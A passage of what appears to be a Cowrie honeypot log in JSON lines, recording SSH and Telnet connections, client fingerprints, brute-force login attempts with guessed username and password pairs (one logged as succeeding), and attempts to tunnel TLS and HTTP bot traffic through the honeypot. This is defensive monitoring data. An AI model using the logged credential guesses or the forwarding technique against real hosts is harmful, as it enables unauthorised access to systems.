\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xfa\\xfa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xfa\\xfa\\x00\\x01\\x00\\x00\\x1d\\x00 V\\xcf\\xd7\\x88b2\\x96\\xa27\\xadH\\x0c\\xffy\\xac\\xd0Y\\t\\x91\\x97e\\xe0A\\xc7\\xf6^V-\\xb0\\x8e\\xa79\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xda\\xda\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:31.867043Z","src_ip":"123.27.168.40","session":"7ab80d1fc152","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:31.977348Z","src_ip":"45.153.34.195","session":"e1eebbf962a4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:32.127992Z","session":"7ab80d1fc152","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:32.385400Z","src_ip":"123.27.168.40","session":"7ab80d1fc152","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03+\\x9e\\x895\\xb8\\xaf\\xa6\"W\\xa4\\xd9\\xcdv\\\\\\x94\\x10\\xa6\\xad\\xe9I\\x80%\\x8b\\x95b\\xe8@\\x85\\x8b:P\\xb7 \\xed\\xc2g\\xbd\\x06\\xea,$lr\\x8a\\xab\\xcdeJ\\x0e\\xc4}\\xd5\\x83X5x;L\\xf8\\xa0\\xe2\\xa7oKF\\x00\"\\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\r\\xc1\\xb8\\xf4\\x93\\xf9\\xd9\\xbe\\x8d\\x1f\\xf7\\xc2|@\\xd4.\\x19\\xa3\\x92\\xe6\\xcd\\xea\\x0e\\x94\\xb0\\xa5\\'\\x06\\xf0\\xbf\\xc8\\x1b\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03+\\x9e\\x895\\xb8\\xaf\\xa6\"W\\xa4\\xd9\\xcdv\\\\\\x94\\x10\\xa6\\xad\\xe9I\\x80%\\x8b\\x95b\\xe8@\\x85\\x8b:P\\xb7 \\xed\\xc2g\\xbd\\x06\\xea,$lr\\x8a\\xab\\xcdeJ\\x0e\\xc4}\\xd5\\x83X5x;L\\xf8\\xa0\\xe2\\xa7oKF\\x00\"\\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xba\\xba\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xba\\xba\\x00\\x01\\x00\\x00\\x1d\\x00 \\r\\xc1\\xb8\\xf4\\x93\\xf9\\xd9\\xbe\\x8d\\x1f\\xf7\\xc2|@\\xd4.\\x19\\xa3\\x92\\xe6\\xcd\\xea\\x0e\\x94\\xb0\\xa5\\'\\x06\\xf0\\xbf\\xc8\\x1b\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:32.387977Z","src_ip":"123.27.168.40","session":"7ab80d1fc152","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:32.771835Z","src_ip":"123.27.168.40","session":"7ab80d1fc152","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":50640,"dst_ip":"10.17.0.5","dst_port":22,"session":"611e52d2762f","protocol":"ssh","message":"New connection: 45.153.34.195:50640 (10.17.0.5:22) [session: 611e52d2762f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:33.203158Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:33.207414Z","src_ip":"45.153.34.195","session":"611e52d2762f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:33.302284Z","src_ip":"45.153.34.195","session":"611e52d2762f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu2026","message":"login attempt [ubuntu/ubuntu2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:33.546805Z","src_ip":"45.153.34.195","session":"611e52d2762f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":35426,"dst_ip":"159.203.135.109","dst_port":23,"session":"94d4b0d188ab","protocol":"telnet","message":"New connection: 128.199.8.54:35426 (159.203.135.109:23) [session: 94d4b0d188ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:33.852717Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.46.222.137","src_port":59527,"dst_ip":"10.17.0.5","dst_port":22,"session":"c17736119c7b","protocol":"ssh","message":"New connection: 38.46.222.137:59527 (10.17.0.5:22) [session: c17736119c7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:34.167984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:34.190332Z","src_ip":"38.46.222.137","session":"c17736119c7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:34.262363Z","src_ip":"38.46.222.137","session":"c17736119c7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":50490,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ec04c84f8e4","protocol":"ssh","message":"New connection: 91.92.40.36:50490 (159.203.135.109:22) [session: 0ec04c84f8e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:34.302036Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:34.654598Z","src_ip":"45.153.34.195","session":"611e52d2762f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:35.067369Z","src_ip":"91.92.40.36","session":"0ec04c84f8e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:35.070476Z","src_ip":"91.92.40.36","session":"0ec04c84f8e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftptest","password":"654321","message":"login attempt [ftptest/654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:35.139200Z","src_ip":"91.92.40.36","session":"ea5426413371","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:35.729634Z","src_ip":"38.46.222.137","session":"c17736119c7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":50646,"dst_ip":"10.17.0.5","dst_port":22,"session":"09546f8f0453","protocol":"ssh","message":"New connection: 45.153.34.195:50646 (10.17.0.5:22) [session: 09546f8f0453]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:35.758582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:35.784546Z","src_ip":"45.153.34.195","session":"09546f8f0453","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:36.015021Z","src_ip":"45.153.34.195","session":"09546f8f0453","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"1234","message":"login attempt [amir/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:36.371163Z","src_ip":"45.153.34.195","session":"09546f8f0453","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:36.618654Z","session":"dd694c98cd82","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:03:36.677295Z","src_ip":"23.175.50.47","session":"dd694c98cd82","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1176\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 11; 1920_20 Build/RP1A.200720.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=Y04oVGxPK1Q%2Feyg%2FPk91aA%3D%3Dc09OFpeKeVAg0nLjUZ5Jxb3rgnGFxWkZbOZXZ1pgBy2i%2BOBjExv8d80jnKWg5EiS%2FWeHc1yCMcAfGHFIq9mv1nYehOs1lEgmpM2pVv1Xd1IrASf88aqFaY6Wz4zuMjH4ZNLf0LwWWuS67OukUdCBJe4fQ918BdzgkJDmGmIGWWopQg3r0qswhRcPzw%2BXmnIC5Dcljo5dlqxDa6ygxlFwsInxZ%2B5pzU2rYt8x02qDkp3H6e5bFgw2cl3JWuv0xKOfcfFTzrKWtDwWJoqgM7%2Fj2ndv2yURroUOanmbKjOfeihFNQhdQRXKG%2FbEw7gffCckB4yGDyjCDsRxNAVyk27NqaLkIlGt141Gy5vuz5b9ouMgsG56WxMfpXAHuPUCNkOgWQiRlvF4JHsY6cmfkvhAURBEXppyxkJuBRGnWyamMr00D2UOt21OEF6M3q4s2XI5G85aP635cAziD6CoUrjX6l8qXJ%2FaAHyH08fKrQDk4y9g%2F%2F5aHMppEgtFhuio23I3cJob4esbdeEHuYVqiTsEkhPyUxBraao0JXxfV1iv2NqD6n6TaXYk7j6kU3AKzgHfg7yTnUonm4O4In4qRH53RqCn7OZDZGmAwQlfs1vhvyHb19mDZCZ1nYeOnkZeHFLEpDIRwEtI00%2BfUZo%2FX5aTHm1mZSH%2Fb4rc73jD%2FBk%2BrHE8efZCZuiqf5gT7N078liitkq7cNtTfkNgNPvlMxgv06grRDZxC8jg5mXdrlEcjZYV7c%2FiyhvLK4VI5qMEWHZO4Vm10nIVqw6uJnrdcEY0qgv8gqi2X7%2FfmQuHY